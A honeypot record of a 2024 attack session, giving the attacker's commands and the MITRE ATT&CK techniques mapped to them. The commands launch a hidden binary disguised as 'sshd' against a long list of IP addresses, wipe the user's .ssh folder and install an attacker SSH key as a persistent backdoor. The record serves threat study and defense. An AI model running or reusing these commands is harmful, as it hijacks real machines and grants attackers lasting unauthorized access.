Honeypot attack session (period 2024), commands issued:
chmod +x ./.3152646262859647155/sshd;nohup ./.3152646262859647155/sshd 149.104.64.40 103.191.166.72 182.151.44.222 164.92.166.153 154.19.164.122 103.123.63.116 198.12.92.218 54.183.245.190 54.219.142.83 94.181.191.54 103.178.174.30 35.220.164.28 188.132.178.85 222.77.96.62 88.218.249.242 185.36.81.145 92.246.91.100 222.77.96.50 211.154.194.21 159.223.37.210 77.83.246.63 112.4.238.226 54.91.98.32 103.172.236.235 167.86.103.186 202.129.205.122 208.65.84.174 154.212.146.73 222.77.96.7 173.212.226.168 218.23.170.184 36.151.192.3 202.133.88.34 45.137.181.64 51.195.116.88 222.77.96.52 42.51.22.117 107.174.250.150 125.122.27.208 149.0.16.45 49.13.132.101 61.185.15.118 172.233.46.68 41.111.183.173 77.87.122.176 5.34.195.101 52.196.22.226 222.187.232.131 54.234.160.114 178.160.195.113 93.123.118.112 &
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter
T1222 File and Directory Permissions Modification
T1070 Indicator Removal
T1098 Account Manipulation
T1222 File and Directory Permissions Modification